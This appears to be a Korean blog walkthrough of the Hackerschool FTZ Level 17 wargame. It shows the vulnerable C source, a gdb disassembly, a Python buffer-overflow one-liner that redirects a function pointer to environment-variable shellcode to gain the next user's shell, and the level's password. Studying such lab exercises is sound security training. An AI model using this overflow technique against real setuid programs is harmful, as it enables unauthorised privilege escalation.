0. 들어가기 전에
이번 문제는 사실 정말 설명이 필요 없을정도로 Level 16과 비슷하다…
1. Level 17
소스코드부터 확인해보자.
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
크게 어려울 것 없는 코드다. 다만 이번엔 printit함수만 존재한다! 그렇다고 RET까지 가기에는 입력받는 범위가 모자라다.
그럼 단순히 Shell 코드 환경변수 하나 만들어서 그 주소를 printit에 대입하면 될 것이다. 환경변수를 만들고 주소까지 확인하는 법은 내 블로그 FTZ Level12에 자세히 나와있다!
환경변수를 만들고 주소까지 확인해보니 :
0xbffffc18
값이 나왔다. gdb로 포인터와 배열 사이의 거리를 재보자.
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56]
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
0x080484e9 <main+65>: nop
예상했지만, 저번 문제와 똑같다(…)
그냥 저번 문제의 코드에서 주소만 쉘코드 주소로 바꿔서 넣어보니 문제가 풀린다.
(python -c 'print "A"*40+"\x18\xfc\xff\xbf"'; cat) | ./attackme
비밀번호 : why did you do it
Source
- 해커스쿨 FTZ
- Me!